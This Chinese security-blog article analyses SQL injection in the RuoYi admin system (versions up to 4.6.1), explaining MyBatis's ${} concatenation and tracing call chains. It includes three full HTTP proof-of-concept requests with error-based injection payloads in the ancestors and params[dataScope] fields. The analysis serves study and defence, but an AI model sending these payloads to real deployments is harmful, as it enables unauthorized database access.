若依(RuoYi)管理系统后台sql注入漏洞分析

admin 2022年8月28日21:31:47评论227 views1字数 7288阅读24分17秒阅读模式

点击 / 关注我们

若依管理系统是基于SpringBoot框架开发的,并利用MyBatis框架进行数据库操作。在RuoYi <=4.6.1版本中后台存在sql注入漏洞,本着对MyBatis框架中sql注入学习的态度,对该漏洞进行了以下分析。

0x1 关于Mybatis

Mybatis是个对jdbc进行简单封装的持久层框架。MyBatis 使用简单的 XML或注解用于配置和原始映射(更多的是以xml方式写入到xml文件中),将接口和 Java 的POJOs(Plain Ordinary Java Objects,普通的 Java对象)映射成数据库中的记录。

0x11 Mybatis框架架构

(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。

(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。

(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。

(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。

0x12 Mybatis配置文件及sql映射

Mybatis的全局配置文件——SqlMapConfig.xml。在SqlMapConfig.xml中配置了dataSource(数据源)、mappers(映射器)等,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.driver" />
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8" />
<property name="username" value="xx" />
<property name="password" value="xx" />
</dataSource>
</environment>
</environments>
<!-- 加载映射文件 -->
<mappers>
    <mapper resource="mybatistet/User.xml" />
</mappers>
</configuration>

其中,加载的映射文件mybatistet/User.xml中定义了sql语句与po类的映射关系。po类通常与数据库中的数据表相照应。比如定义User类

package mybatis;

public class User {
    public int id;
    public String name;
    public int age;
    public String email;
}

举例,根据id查询用户,则在映射文件mybatistet/User.xml中进行以下配置:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatistest">
</mapper>
<select id="findUserById" parameterType="int" resultType="mybatis.User">
select * from user where id = #{id}
</select>

parameterType:定义输入到sql中的映射类型,#{id}表示使用preparedstatement预处理设置占位符号并将输入变量id传到sql。

resultType:定义结果映射类型。

其中,在进行sql语句查询是,MyBatis支持两种参数符号,一种是#,另一种是$#使用预编译向占位符中设置值,可有效防止sql注入。$使用拼接SQL,也是触发sql注入的关键。

测试:

public class TestMybatis {
    public static void main(String[] args) throws Exception{
        String resource = "SqlMapConfig.xml";
        InputStream inputStream = Resources.getResourceAsStream(resource);
        SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
        SqlSession  sqlSession = sqlSessionFactory.openSession();
        User user = sqlSession.selectOne("mybatistest.findUserById", 10);
        System.out.println(user);
    }
}

以上就是利用Mybatis框架进行sql查询的一些前置知识,下面分析如何在RuoYi中触发sql注入。

0x2 Ruoyi (4.6.1版本) 后台sql注入分析

ruoyi中关于mybatis的相关配置在application.yml文件中:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

由以上配置可知,所有的mapper.xml映射文件在classpath*:mapper//*Mapper.xml中。因此,有个简单粗暴的方法,遍历所有classpath:mapper/*/*Mapper.xml文件,找包含"$"字符的文件。于是定位到/resources/mapper/system/SysDeptMapper.xml文件。 SysDeptMapper.xml配置文件里内容为:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

很明显ancestors参数存在sql注入,其中完整语句是update sys_dept set status=0 where dept_id in (ancestors的值)。因此可通过该update操作触发sql注入。那么如何设计请求来触发该update数据操作呢?通过SysDeptMapper.xml文件中的<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">定位到Dao层,在dao层对应的com.ruoyi.system.mapper.SysDeptMapper类中找到该方法:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

在基于springboot框架中,可通过以下3种方式进行sql操作:1、业务层调用dao层 2、controller调用Service层间接调用dao层 3、controller直接调用dao层 在RuoYi中,找到在service层的com.ruoyi.system.service.impl.SysDeptServiceImpl类的updateParentDeptStatus()方法中可调用到updateDeptStatus(SysDept dept)方法。

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus又是通过com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDep方法调用。

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

因此最后定位到SysDeptControllereditSave()方法可触发该调用。

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

局部调用链如下图:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

由此最终利用如下:

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1b3960f0-fd75-4bc5-a130-9e822c5c9e5d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

按照同样的方式也可定位到/resources/mapper/system/SysRoleMapper.xml文件。

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

完整的sql语句应该是: select distinct r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark from sys_role r left join sys_user_role ur on ur.role_id = r.role_id left join sys_user u on u.user_id = ur.user_id left join sys_dept d on u.dept_id = d.dept_id where r.del_flag = '0' ${params.dataScope} 可见${params.dataScope}能触发sql注入。按照以上同样的方式,根据SysRoleMapper.xml文件中的<mapper namespace="com.ruoyi.system.mapper.SysRoleMapper">定位到com.ruoyi.system.mapper.SysRoleMapper类的selectRoleList方法:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

然后回溯调用selectRoleList方法的service,定位到com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

最后查找调用com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList方法的controller——com.ruoyi.web.controller.system.SysRoleController,在其中的list()方法和export()方法均调用了selectRoleList方法:

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

至此可构造如下poc进行sql注入利用:

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

或者利用/export接口触发sql注入:

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

若依(RuoYi)管理系统后台sql注入漏洞分析
image.png

总结

本文以RuoYi为例学习并整理了基于Mybatis框架的sql注入原理和场景,为高效快速挖掘基于Mybatis框架的sql注入提供一种思路和参考。

推荐阅读:
一种新的Tomcat内存马 - Upgrade内存马
从偶遇Flarum开始的RCE之旅
二次反序列化 看我一命通关
tabby原理分析
2022UIUCTF-Spoink(Pebble最新模板注入)

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。


跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):若依(RuoYi)管理系统后台sql注入漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日21:31:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   若依(RuoYi)管理系统后台sql注入漏洞分析http://cn-sec.com/archives/1256387.html

发表评论

匿名网友 填写信息